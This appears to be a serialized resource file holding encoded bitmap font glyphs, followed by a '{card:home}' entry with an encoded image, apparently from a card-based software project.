AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAA+AAA+AAAeAAAOAAAMAAAMAAAIAAAQAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//4A//4A//4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAA+AAA+AAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAHgAAPAAAPAAAeAAAeAAA8AAA8AAB4AAB4AADwAADwAAHgAAHgAAPAAAPAAAeAAAeAAA8AAA8AAB4AAB4AADwAADwAAHgAAHgAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAD/AAHngAHDgAPDwAPDwAPDwAeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4APDwAPDwAPDwAHDgAHngAD/AAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAHAAAPAAAfAAA/AAB/AAB/AAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAfgAB/4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH4AAf+AA8fAA4PAB4PgB4HgAAHgAAHgAAHgAAPAAAPAAAeAAAeAAA8AAB4AABwAADgAAHAAAOAgAcBgA//gB//gD//gD//gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8AAP/AAPHgAeDwAeDwAADwAADwAAHgAAHgAAfAAB+AAB/gAAPwAADwAAD4AAB4AAB4AAB4AAB4AeDwAeDwAPHgAP/AAD8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwAADwAAHwAAHwAAPwAAPwAAbwAAbwAAzwAAzwABjwABjwADDwADDwAGDwAGDwAP//AP//AADwAADwAADwAADwAAH4AAf+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//gA//AA/+AA/8AA4AAA4AAA4AAA4AAA44AA7+AA//AA8fAA4PgAwPgAAHgAAHgAAHgAAHgAAHgB4HAB4HAB8OAA/8AAPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAOAAAcAAA4AABwAADwAAHgAAHgAAPAAAPAAAPAAAeeAAf/gAfnwAfDwAfD4AeB4AeB4AeB4AOB4APB4APDwAHjwAD/gAA+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB//AB/+AD/+AD/8AGAMAEAcAAAYAAA4AAAwAABwAABwAADgAADgAAHgAAHAAAPAAAPAAAeAAAeAAA+AAA+AAB8AAB8AAD8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAf4AA/8AA4cABwOABwOAB4OAB4OAA8cAA+cAAf4AAPwAAPwAAf4AA98AB4+AB4eADwfADwPADwPADwPABweAB4+AA/8AAPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAP+AAePAAeHgA8HgA8DgA8DwA8DwA8DwA+HwAeHwAfPwAP/wADzwAADgAAHgAAHgAAPAAAPAAAeAAAcAAA4AABwAADgAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAD4AAD4AABwAAAAAAAAAAAAAAAAAAAAAAAAAABwAAD4AAD4AABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAA+AAA+AAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAA+AAA+AAAeAAAOAAAMAAAMAAAIAAAQAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAPwAA/AAD8AAPwAA/AAD8AAA/AAAPwAAD8AAA/AAAPwAAD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8Af/8Af/8AAAAAAAAAf/8Af/8Af/8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHwAAD8AAA/AAAPwAAD8AAA/AAAPwAA/AAD8AAPwAA/AAD8AAHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8AAP/AAMPAAYHgAeHgAeHgAMHgAAHgAAPAAAPAAAeAAAcAAA4AAA4AAAwAAAwAAAwAAAwAAAAAAAAAAAAAAAwAAB4AAB4AAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAD/wAHh4AOAcAMAMAcduAc/uAZzmAZhmAZhmAZhmAZhmAZjmAc+8Acc4AMAAAOAcAHh4AD/wAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAABgAABgAADwAADwAADwAAH4AAH4AAH4AAH4AAM8AAM8AAM8AAM8AAYeAAYeAAf+AAf+AAYeAAwPAAwPAAwPAAwPAB4fgD8/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/8AAf/AAPHgAPDgAPDwAPDwAPDwAPDwAPDgAPHgAP/AAP/AAPHgAPDwAPBwAPB4APB4APB4APB4APB4APBwAPDwAf/gA/+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfMAB/8ADw8ADgcAHgMAHgMAHgEAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgEADgMADwcAB/4AAfwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/4AB/+AA8PAA8HAA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HAA8PAB/+AD/4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//4Af/4APA4APAYAPAIAPAAAPAAAPAAAPBAAPDAAP/AAP/AAPDAAPBAAPAAAPAAAPAAAPAAAPAAAPAIAPAYAPA4Af/4A//4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/+AH/+ADwOADwGADwCADwAADwAADwAADwQADwwAD/wAD/wADwwADwQADwAADwAADwAADwAADwAADwAADwAADwAAH4AAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPmAA/+AB4eABwOADwGADwGADwCADwAADwAADwAADwAADwAADw/wDwfgDwPADwPADwPADwPADwPADwPABwfAB4/AA/3AAPDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/n8Afn4APDwAPDwAPDwAPDwAPDwAPDwAPDwAPDwAP/wAP/wAPDwAPDwAPDwAPDwAPDwAPDwAPDwAPDwAPDwAPDwAfn4A/n8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB/4AAfgAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAfgAB/4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/AAB+AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAw8AB48AB48AB48ABx4AA/4AAfgAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/38Afj4APBwAPDgAPDgAPHAAPOAAPOAAPcAAP8AAP8AAP+AAPeAAPeAAPPAAPPAAPPAAPHgAPHgAPHgAPDwAPDwAfj4A/z8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAH4AADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwAADwBADwDADwHAH//AP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwHwBwHgA4PAA4PAA8fAA8fAA+/AA+/AA//AA//AA33AA33AAznAAznAAxHAAxHAAwHAAwHAAwHAAwHAAwHAAwHAB4PgD8fwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+D8AfB4APAwAPgwAPgwAPwwAPwwAN4wAN4wAM8wAM8wAMewAMewAMPwAMPwAMHwAMHwAMDwAMDwAMBwAMBwAMAwAeAwA/AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfgAB/4ADw8ADgcAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeAHgeADgcADw8AB/4AAfgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/8AB//AA8PAA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8PAA//AA/8AA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAB+AAD/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB+AAH/gAPDwAOBwAeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AeB4AOBwAPDwAH/gAB+AAAMAAAOAAAPwAAHgAADAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/wAH/8ADw8ADweADweADweADweADweADweADweADweADw8AD/8AD/wAD3gAD3gADzwADzwADx4ADx4ADw8ADw8AH4+AP8/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPxgA/9gA8fgB4HgB4DgB4DgB4BgA8AgA+AAAfAAAPgAAHwAAD4AAB8AAA+AAAfABAPABgPgBgHgBwHgB4HgB8PABv/ABj8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8A//8A48cAw8MAg8EAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAA8AAB+AAD/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8/AH4eADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMADwMAB4YAB/4AAfgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/PwB+HgA8DAA8DAA8DAAeGAAeGAAeGAAeGAAPMAAPMAAPMAAPMAAHYAAHYAAH4AAH4AAD4AADwAADwAADwAABgAABgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/j8AfB4AOAwAOAwAOAwAOAwAOAwAOIwAOIwAOcwAOcwAO+wAO+wAP/wAPnwAPnwAPDwAPDwAOBwAOBwAMAwAMAwAIAQAIAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPw/AHgeAHgMADwMADwYAB4YAB4wAA8wAA9gAAfgAAfAAAPAAAPAAAPgAAfgAAbwAAzwAAx4ABh4ABg8ADA8ADAeAHgeAPw/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+HwB8DgA8DAA8DAAcGAAeGAAeGAAOMAAPMAAPMAAH4AAH4AAD4AADwAADwAADwAADwAADwAADwAADwAADwAADwAAH4AAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/wAf/wAcDwAYDwAQHgAAHgAAPAAAPAAAeAAA8AAA8AAB4AAB4AADwAAHgAAHgAAPAAAPAAAeAAAeAQA8AwA8BwA//wA//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/gAH/gAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAHAAAH/gAH/gAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAABwAABwAAA4AAA4AAAcAAAcAAAOAAAOAAAHAAAHAAADgAADgAABwAABwAAA4AAA4AAAcAAAcAAAOAAAOAAAHAAAHAAADgAADgAABwAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf+AAf+AAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAf+AAf+AAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAMAAAeAAA/AABzgADAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//wP//wBIAAAAAAAAAAAAAAAAAAAAAAAAAIAAAQAAAwAAAwAABwAAB4AAB8AAB8AAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB+AAD/gAHjwAHhwAAB4AAB4AA/4AD/4AHh4APB4APB4APB4APB4AHj4AD++AA8cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8AAB8AAA8AAA8AAA8AAA8AAA8AAA8AAA94AA/+AA/eAA+PAA8PAA8HgA8HgA8HgA8HgA8HgA8HgA8PAA+PAA/eAD7+ABx4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAP+AAfPAAeHgA+HgA8AAA8AAA8AAA8AAA8AAA8AAA+AAAeDgAfHAAP+AAD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAD4AAB4AAB4AAB4AAB4AAB4AAB4AA94AD/4AD34AHj4AHh4APB4APB4APB4APB4APB4APB4AHh4AHj4AD34AD++AA8cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPgAA/4AB48AB4cADweADweADweAD/+AD/+ADwAADwAAB4AAB4OAA8cAAf4AAHgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAD/AADzgAHngAHngAHjAAHgAAHgAAHgAAHgAAP+AAf8AAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAPwAAf4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAA4AD94AP/4APPIAeHgAeHgAeHgAeHgAPPAAP/AAH8AAPAAAeAAAf+AAf/gAP/wAP/wAcA4AYAYAcA4AeB4AP/wAD/AAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAD4AAB4AAB4AAB4AAB4AAB4AAB4AAB5wAB78AB/8AB8+AB4eAB4eAB4eAB4eAB4eAB4eAB4eAB4eAB4eAB4eAD8/AH+/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAD4AAD4AABwAAAAAAAAAAAAAAAAAAH4AAH4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAD8AAP/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAfAAAfAAAOAAAAAAAAAAAAAAAAAAA/AAA/AAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAGPAAPPAAPPAAOeAAH+AAD4AAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8AAB8AAA8AAA8AAA8AAA8AAA8AAA8AAA8fgA8PAA8OAA8cAA84AA9wAA/gAA/gAA/gAA/wAA94AA88AA8eAA8PAB+PgD/fgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAD4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAB4AAD8AAP/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7zwA//8Ae+8AeeeAeeeAeeeAeeeAeeeAeeeAeeeAeeeAeeeAeeeAeeeA/e+A/e+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw4AD7+AA/+AA+fAA8PAA8PAA8PAA8PAA8PAA8PAA8PAA8PAA8PAA8PAB+fgD/fwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAP+AAePAAcHAA8HgA8HgA8HgA8HgA8HgA8HgA8HgA8HgAcHAAePAAP+AAD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOPAAffwAH7wAHx4AHh4AHg8AHg8AHg8AHg8AHg8AHg8AHh4AHx4AH7wAH/wAHvAAHgAAHgAAHgAAHgAAPwAAf4AAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPGAA/uAA9+AB4+AB4eADweADweADweADweADweADweAB4eAB4+AA9+AA/+AAPeAAAeAAAeAAAeAAAeAAA/AAB/gAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfjgAfnwAHvwAH7gAHwAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAHgAAPwAAf4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8wAH/wAHjwAPBwAPAwAPgQAH4AAH+AAB/gAAfgAIHwAMDwAODwAPHgAP/gAM+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAADAAAHAAAPAAAfAAA/8AB/4AAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPAAAPCAAPCAAHmAAH8AAB4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB+fgA+PgAeHgAeHgAeHgAeHgAeHgAeHgAeHgAeHgAeHgAeHgAfPgAP/gAP74ADhwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/z8Afh4APAwAHhgAHhgAHhgADzAADzAADzAAB2AAB+AAB8AAA8AAA8AAAYAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP4fwHwPgDgHADgHADgHADgHADgHADjHADjHAB3uAB3uAB/+AB/+AA+8AA4cAAwMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+HwAeHgAPHAAHOAAHsAAD8AAD4AAB4AAB4AAB8AAD8AADeAAHOAAOPAAeHgA+HwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP4/AHweADwMAB4MAB4MAA8YAA8YAAeYAAewAAPwAAPwAAHgAAHgAADAAADAAAGAAAGAAAMAADcAAH4AAHwAADgAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB//AB//ABwPABgPABAeAAA8AAB4AADwAAHgAAPAAAeAAA8BAB4DADwHAD//AD//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAAA/AABwAADgAADgAADgAADgAADgAADgAADgAADgAAHAAAOAAAcAAAOAAAHAAADgAADgAADgAADgAADgAADgAADgAABgAABwAAA/AAAPAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAAAAAAAAAAAAAAAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAA/AAADgAABgAABwAABwAABwAABwAABwAABwAABwAAA4AAAcAAAOAAAcAAA4AABwAABwAABwAABwAABwAABwAABwAABgAADgAA/AAA8AAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAHBAAP3AAd+AAQcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYxgA97wA97wAYxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#34;&#xA;&#xA;{card:home}&#xA;image:&#34;%%IMG0AgABVr///79/e/f+////+//+37//n///79//vN////c95z3Pc3nue5vcznue5JO57nue57nue857nvOrPe99///////bZSbZybabK6ZTLf//tt//TP////3ZPef////25pvm227Pbc22bbfM8zwPtzbNs227bds3zfbN/ea59v//////2Z351v7d7O253eb//+2733N/////bd07P///2br6bnTNtLN1ta20ty3WJ1tntm15lpmW9NyVvX/+1/t//////272zzaWzW+2b2179vft72fff////ubbzP///+9PTbm3tbe2nN2zbuntZgtq2XPdlvb29Ztz9zd729+7f/////9u2zbt83czbdttmz/2tn272Z////6bbnf////s8d2bmrZrXedm3mtOm2iLrt2dVt5rVs1vNlrTy+zp/v//////s231u0213W2027b/+7f+2+7/////+222d///u55zZu7bzNV3OtO1dvM2ptm27XNpm1s7bN3O3L5/79b/////f922za59u22257btn/tt+/f2/////y21tf///75vbvzlbN23Gds9nbWdzhbXKyutb9zt67PNtbe3n9t3///////dtrtnts622ztszfX82///d2/////tnc3////X4ZqTPaczau1m5WubZnoTNu3su1JnrMzeczZs0/3befv/////Ztu22a20223bb3Z397f///m/////22t7f///dJ7m35rbbs7nOzds6nssj+zWZ829uWs3Tbbbzt3z9f/3/////3trZt7td2223NN3u/tv//77/////9tuW////672vdjm2tq1mtna1q+Y5gczW5p1ra9b9bOd2bs3f7+W//////+bbXtms1tts2e9mbt7a///Nu//////tc3///+7NaU3bTbTtXvOzpu055oy32m7m2bS1k26bWa56+279+///+//7bdNu27btm1tre7N/Nv//93////v/7W2////Zc175zvXPW9MtnNs1zT4imTebOp2du26b+Zu7033vt1/////v7bZ9rnbtrfdums29/+3///b//////7et9/v/117TlnM2c1ZtuW551nOTA5tls2u2a0ps8ybud/d/f/977////923pummszZVtva2Zv/b////mf////76tu3///bJuWc5y1zluc9jjluM9ZDm3O2s5ut3s2zea97sy3592//////W2bs7u57b3bNtttv/9/////b/////7ttv///pu29tzntnvZZpnbbpm02G7Nac2zuc3N9Pc7K7rbeft9f/3//u825t1ttt2m2tm227f+3////3/////7Nrd///7zZSuduZuTN3O3VzLmtuAttrc1uZd0tR2Zq2v7nm/b9/3/////2tzXZs6Wezbdtrbd/f/////b/////9bNvz/bTV3a5pzpvOadZnTdnss5HnK09k50nzbnbbnd7Wf23O3+//3//+6bctrrd83nZtm0//8/////3/////7Z2v//u33a1mrnPOea7VuuzTN5mE7PTst2zuPa7OZm1vZ82+f////////1607bOdl2bbtvb38+/////+f9////bzae37ymZrWbbcc02yuZqzL5TuE9mds7mbs8yzOb3ms2//++j/3/7//2/W27N26u25mtZsv//7/f///9/////bLt/n99s7attTN2223a7Wntz2q4jVZzZO2lzT2eelOtzbN/8/////n//z927ezW6yz221m6//7/////t/7///7ezW9vV1yZ623cmZss1mdez2TtmJtWzN02dnPl5ad2tP3tnv///+/////f1mWbmZnnbnO9t///9/v///v+///z1f95ndlu7zNOVu205rWa0yj9lWAvqbbX05ueWm21mt8nXOc/f39////80/uec2922yus5tf////7//+//+////39/v5to2Tc89NmZ5sturbyZ3bRLK83Mlzps1ua3OtfbP597//f//9//z3+883s3nns71tf////9/////k///lvv/5vpt1dlpk9O2z562ckSDJKmQ9kya7XNm2m2sstc9t7js+/f/////9mf508s5OO21mba/////////f///v/f+/7mbp1m3O3Zs2bJppd7aA97UBNc7rps13M7Nc72b6bf/N/t7//9//+25f25zb28zNW7O/////f///f+l//5N///+zPluZszNr0627W0lORtTWQHZpmWyzJs1s1tNbOzPe/f77//7/3/tt1+7ndOZ3N7m2f///////+2/7f//2/v/9ncbZ1m22bNyzZdbae5MtQAQbNndbttm9TzM02d23u/J//f+/v//1szX8uzc9s/Smzf////////+/1t/+zf///tlzpndZzZZnW1y01MxGPyHyfdOm003dZvNtt67W3/td3+3Z/+3/3Z7tf5rNs5yb3nt/////////v+2//7v/